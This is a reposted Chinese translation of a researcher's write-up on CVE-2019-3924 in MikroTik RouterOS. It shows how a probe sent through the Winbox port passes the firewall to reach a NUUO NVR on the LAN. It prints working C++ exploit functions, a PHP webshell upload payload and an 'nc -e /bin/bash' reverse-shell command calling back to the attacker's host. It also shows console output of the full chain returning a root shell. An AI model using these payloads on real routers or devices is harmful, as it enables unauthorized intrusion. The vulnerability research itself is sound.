内容简介:设计缺陷在针对MikroTik进行漏洞研究时,我在RouterOS中发现了一个未公开的漏洞,该漏洞的编号为这个代理行为看上去很简洁,但对我而言,最有趣的一个地方是WAN上的攻击者可以向局域网中经过防火墙保护的主机进行攻击。本文将主要介绍这种攻击方法。如果各位读者对复杂的概念验证过程比较感兴趣,建议首先观看下面的视频:
设计缺陷
在针对MikroTik进行漏洞研究时,我在RouterOS中发现了一个未公开的漏洞,该漏洞的编号为 CVE-2019-3924 。该漏洞允许远程攻击者在未经身份验证的情况下通过路由器的 Winbox端口 代理特制的TCP和UDP请求。该代理请求甚至可以绕过路由器的防火墙,到达LAN主机。
这个代理行为看上去很简洁,但对我而言,最有趣的一个地方是WAN上的攻击者可以向局域网中经过防火墙保护的主机进行攻击。本文将主要介绍这种攻击方法。如果各位读者对复杂的概念验证过程比较感兴趣,建议首先观看下面的视频:
部署
为了证明这个漏洞,我首先需要选择一个攻击的目标。我没有选择太远的目标,因为我面前的办公桌上就有一台 NUUO NVRMini2 。这台NVR非常适合作为我们漏洞分析的示例,设备应该隐藏在防火墙后面,并且应该与网络上的其他设备相分离。
目前,我已经完成了测试部署。现在,NVRMini2位于MikroTik hAP路由器后面,启用了NAT和防火墙。
对于IP地址为192.168.1.7的攻击者来说,NVRMini2应该是安全的:
在部署过程中,还有一个重要的注意事项,就是我在路由器的防火墙中打开了8291端口,以允许从WAN进行Winbox访问。默认情况下,Winbox仅通过LAN在MikroTik hAP 上提供。不要担心,我只是模拟真实世界中的配置。
现在,攻击者192.168.1.7理论上应该无法与10.0.0.252(目标主机)进行通信,防火墙应该会阻止这样的通信尝试。那么,我们就一起来看看,攻击者如何能绕过这种限制。
探索:如何绕过防火墙
CVE-2019-3924 漏洞的根本原因在于路由器未对网络发现 探针 强制执行身份验证。在正常情况下, The Dude 通过路由器进行身份验证,并通过Winbox端口上传探针。但是,其中一个处理探针(代理程序)的二进制文件无法验证远程用户是否已经通过了身份验证。
探针是一个相当简单的概念。探针是一组变量,用于告知路由器如何与指定端口上的主机通信。该探针最多支持三个请求和响应。响应与提供的正则表达式匹配。以下是内置的HTTP探针。
HTTP探针向80端口发送HEAD请求,并检查响应是否以“HTTP/1”开头。
为了绕开防火墙,并从192.168.1.7与NVRMini2通信,攻击者只需要为路由器提供连接到10.0.0.252:80的探针。有一个显而易见的问题,就是“如何来确定LAN主机是不是NVRMini2?”
NVRMini2和各种OEM都具有非常相似的登录页面标题。
使用title标签,我们可以构建一个检测NVRMini2的探针。下面的内容摘自我在GitHub上的 概念证明 。我再次使用了我的 WinboxMessage 实现。
bool find_nvrmini2(Winbox_Session& session, std::string& p_address, boost::uint32_t p_converted_address, boost::uint32_t p_converted_port) { WinboxMessage msg; msg.set_to(104); msg.set_command(1); msg.set_request_id(1); msg.set_reply_expected(true); msg.add_string(7, "GET / HTTP/1.1\r\nHost:" + p_address + "\r\nAccept:*/*\r\n\r\n"); msg.add_string(8, "Network Video Recorder Login</title>"); msg.add_u32(3, p_converted_address); // ip address msg.add_u32(4, p_converted_port); // port session.send(msg); msg.reset(); if (!session.receive(msg)) { std::cerr << "Error receiving a response." << std::endl; return false; } if (msg.has_error()) { std::cerr << msg.get_error_string() << std::endl; return false; } return msg.get_boolean(0xd); }
大家可以看到,我构建了一个发送HTTP GET请求的探针,并在响应中查找“Network Video Recorder Login</title>”。路由器192.168.1.70将接收此探针,并将其发送到我再msg.add_u32(3)和msg.add_u32(4)中定义的主机。在我们的示例中,它分别对应10.0.0.252和80。这个逻辑,绕过了正常的防火墙规则。
下图展示了攻击者(192.168.1.7)使用探针针对10.0.0.254(Ubuntu 18.04)和10.0.0.252(NVRMini2)的探测过程。我们可以看到,攻击者甚至无法ping这些设备。但是,通过使用路由器的Winbox接口,攻击者可以访问LAN主机。
在理论上“无法访问”的局域网上,我们已经可以发现NVRMini2。但是,我们还希望能更进一步,我们希望能获得对该网络的完全访问权限。接下来,让我们寻找一种方法来利用NVRMini2。
制作漏洞利用EXP
使用探针的过程中,有一个最大的问题,就是尺寸的限制。请求和响应的正则表达式不能超过220个字节的组合。这意味着,任何漏洞利用都必须要简洁。我的 NVRMini2栈缓冲区溢出 是简洁的,只需要170个字节就可以溢出Cookie缓冲区。这没有给我们留下太多的空间,但针对 CVE-2018-11523 实现漏洞利用看起来就已经足够了。
CVE-2018-11523漏洞利用代码:
CVE-2018-11523是未经身份验证的文件上传漏洞。攻击者可以利用该漏洞来上传PHP WebShell。在 Exploit-db 上的概念证明是461个字符,这个字符的数量太多了。但是,凭借我们的一点点智慧,可以将大小减到212个字符。
POST /upload.php HTTP/1.1 Host:a Content-Type:multipart/form-data;boundary=a Content-Length:96 --a Content-Disposition:form-data;name=userfile;filename=a.php <?php system($_GET['a']);?> --a
该漏洞利用a.php创建了一个相当精简的PHP WebShell。如果要将其转换为探针的请求,这个过程是相当简单的。
bool upload_webshell(Winbox_Session& session, boost::uint32_t p_converted_address, boost::uint32_t p_converted_port) { WinboxMessage msg; msg.set_to(104); msg.set_command(1); msg.set_request_id(1); msg.set_reply_expected(true); msg.add_string(7, "POST /upload.php HTTP/1.1\r\nHost:a\r\nContent-Type:multipart/form-data;boundary=a\r\nContent-Length:96\r\n\r\n--a\nContent-Disposition:form-data;name=userfile;filename=a.php\n\n<?php system($_GET['a']);?>\n--a\n"); msg.add_string(8, "200 OK"); msg.add_u32(3, p_converted_address); msg.add_u32(4, p_converted_port); session.send(msg); msg.reset(); if (!session.receive(msg)) { std::cerr << "Error receiving a response." << std::endl; return false; } if (msg.has_error()) { std::cerr << msg.get_error_string() << std::endl; return false; } return msg.get_boolean(0xd); }
通过路由器,将上述探针请求发送到10.0.0.252:80,这样就可以创建一个基本的PHP WebShell。
制作反向Shell
此时,您应该可以使用WebShell开始盲目地在NVR上执行命令。但无法看到响应,并且始终要考虑到探针的大小限制,这两个问题比较烦人。因此,我们提出了一个更加理想的解决方案,也就是建立一个到192.168.1.7(攻击者的盒子)的反向Shell。
现在,在我看来,嵌入式系统并没有理由让nc使用-e选项。然而,我们不能按照常规的思路来做一些事情,NVRMini2也不例外。实际上,nc –e仍然是我们可以考虑的一个选择。
bool execute_reverse_shell(Winbox_Session& session, boost::uint32_t p_converted_address, boost::uint32_t p_converted_port, std::string& p_reverse_ip, std::string& p_reverse_port) { WinboxMessage msg; msg.set_to(104); msg.set_command(1); msg.set_request_id(1); msg.set_reply_expected(true); msg.add_string(7, "GET /a.php?a=(nc%20" + p_reverse_ip + "%20" + p_reverse_port + "%20-e%20/bin/bash)%26 HTTP/1.1\r\nHost:a\r\n\r\n"); msg.add_string(8, "200 OK"); msg.add_u32(3, p_converted_address); msg.add_u32(4, p_converted_port); session.send(msg); msg.reset(); if (!session.receive(msg)) { std::cerr << "Error receiving a response." << std::endl; return false; } if (msg.has_error()) { std::cerr << msg.get_error_string() << std::endl; return false; } return msg.get_boolean(0xd); }
上面的探针通过a.php上的WebShell执行命令“nc 192.168.1.7 1270 –e /bin/bash”。nc命令将使用Root Shell连接回攻击者的盒子。
组合利用
接下来,我们将上面的三个部分合并为一个漏洞的组合利用。该漏洞利用过程会连接到路由器,将发送探针到LAN目标,上传WebShell,并执行反向 Shell 返回WAN主机。
<a href="/cdn-cgi/l/email-protection" data-cfemail="07666b656e69686b68657473627547726572697372">[email protected]</a>:~/routeros/poc/cve_2019_3924/build$ ./nvr_rev_shell --proxy_ip 192.168.1.70 --proxy_port 8291 --target_ip 10.0.0.252 --target_port 80 --listening_ip 192.168.1.7 --listening_port 1270 [!] Running in exploitation mode [+] Attempting to connect to a MikroTik router at 192.168.1.70:8291 [+] Connected! [+] Looking for a NUUO NVR at 10.0.0.252:80 [+] Found a NUUO NVR! [+] Uploading a webshell [+] Executing a reverse shell to 192.168.1.7:1270 [+] Done! <a href="/cdn-cgi/l/email-protection" data-cfemail="e889848a81868784878a9b9c8d9aa89d8a9d869c9d">[email protected]</a>:~/routeros/poc/cve_2019_3924/build$
监听器将按照预期获取到Root Shell。
总结
我在撰写博客文章以回应 Zerodium的推文 时发现了这个漏洞。实际上,我并没有积极研究MikroTik的漏洞,只是想为 BSidesDublin 做好准备。我非常好奇,现在有哪些研究人员正在针对MikroTik进行漏洞研究?他们是否已经将发现的漏洞不求回报地告知MikroTik,还是已经将这些漏洞卖给了Zerodium?
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 如何使用SQLMap脚本绕过Web应用防火墙
- 如何利用Struts2漏洞绕过防火墙获取Root权限
- 绕过nftables/PacketFilter防火墙过滤规则传输ICMP/ICMPv6数据包的漏洞详解(上)
- CentOS 6/7 防火墙设置 | 开启/关闭防火墙和端口
- Linux 下的防火墙
- CentOS 7 防火墙操作
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Kafka权威指南
Neha Narkhede、Gwen Shapira、Todd Palino / 薛命灯 / 人民邮电出版社 / 2017-12-26 / 69.00元
每个应用程序都会产生数据,包括日志消息、度量指标、用户活动记录、响应消息等。如何移动数据,几乎变得与数据本身一样重要。如果你是架构师、开发者或者产品工程师,同时也是Apache Kafka新手,那么这本实践指南将会帮助你成为流式平台上处理实时数据的专家。 本书由出身于LinkedIn的Kafka核心作者和一线技术人员共同执笔,详细介绍了如何部署Kafka集群、开发可靠的基于事件驱动的微服务,......一起来看看 《Kafka权威指南》 这本书的介绍吧!